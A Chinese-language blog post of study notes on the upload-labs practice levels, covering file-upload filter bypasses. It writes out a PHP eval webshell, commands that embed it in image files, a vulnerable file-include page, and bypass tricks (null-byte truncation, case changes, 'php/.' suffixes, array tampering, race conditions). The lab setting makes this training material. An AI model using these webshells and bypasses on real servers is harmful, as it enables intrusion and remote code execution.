2021/11/29文件上传-内容及其它逻辑数组绕过

小迪

https://www.bilibili.com/video/BV1JZ4y1c7ro?p=21

在这里插入图片描述
1.upload-labs less14

一句话合成图片🐎
把1.png和shell.php组合成webshell.jpg

copy 1.png /b + shell.php /a webshell.jpg

shell.php
eval() 函数把字符串按照 PHP 代码来计算
@是错误控制运算符,用屏蔽错误提示

<?php  @ eval($_POST['x']) ; ?>

在这里插入图片描述
代码插进去了
在这里插入图片描述

文件包含漏洞

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。

为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

PHP中提供了四个文件包含的函数:
include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once( )
功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
require( )
require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once( )
功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。

还分为本地文件包含和远程文件包含

less14本地文件包含漏洞

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

代码验证头信息
在这里插入图片描述

在这里插入图片描述
PHP中函数pack和unpack的用法

https://segmentfault.com/a/1190000008305573

isset函数是检测变量是否设置

上传webshell,jpg 复制地址
在这里插入图片描述
文件包含
在这里插入图片描述
post传参
在这里插入图片描述

2.less15
getimagesize只接受图像相当于限制了上传文件类型
在这里插入图片描述

getimagesize返回数组索引
在这里插入图片描述
哎嘿怎么上传jpg也行呢
在这里插入图片描述
原来jpeg和jpg一样🙄
再制作png🐎

cpoy 1.jpg /b + shell.php /a webshll.png

在这里插入图片描述
这里不知道为啥png最后成了jpeg
在这里插入图片描述
3.less16
需要开启php_exif模块
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
4.less18(老版本17)二次渲染,条件竞争绕过
在这里插入图片描述

查看路径变化
在这里插入图片描述
在这里插入图片描述
可以看到webshell是上传到文件目录后被重命名的,(二次渲染:网站对用户上传的文件进行放大缩小等操作,统一规格),如果这时候访问webshell,文件占用,那就rename不了了(条件竞争)。

在这里插入图片描述
抓包,设置循环发包,用浏览器一直访问webshell
2021burp intruder模块使用

https://www.cnblogs.com/yunyunyu/p/15488002.html

Send to lntruder
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
电脑太垃圾,没捕捉到

5.less17
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
注意区分strrpos,返回的是字符串最后出现的位置,整数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

less20(老版本19)目录命名
在这里插入图片描述
最后的文件路径是由img_path决定,而img_path由save_name决定,虽然pathinfo返回后缀名进行了检测,但是我们可以使用上节课学习的知识
在这里插入图片描述
使用%00截断
在这里插入图片描述
在这里插入图片描述
失败,因为没有对文件名做操作,只是放在路径,%00不起作用。
这是黑名单,而且没大小写检测,改为Php上传成功
在这里插入图片描述
结果我的电脑不识别大写没法打开文件
在这里插入图片描述
使用php/.绕过
在这里插入图片描述
在这里插入图片描述
less21(数组接受、目录命名)

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
通过代码分析 ,save_name被打散成数组,代码白名单检测最后一个后缀,利用目录命名upload/upload-20.php/.改成upload/upload-20.php/.jpg绕过白名单
如果直接上传upload/upload-20.php/.jpg最后文件为upload-20.jpg,因为文件命名取由.分开的第一和最后一个数组
在这里插入图片描述
这里只能直接抓包改数组了,让最后一个为jpg绕过白名单,利用文件目录最后生成upload-20.php
在这里插入图片描述
上传成功

在这里插入图片描述
**CVE-2017-12615-上传 Tomcat **
中间件解析漏洞+配合文件上传测试
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值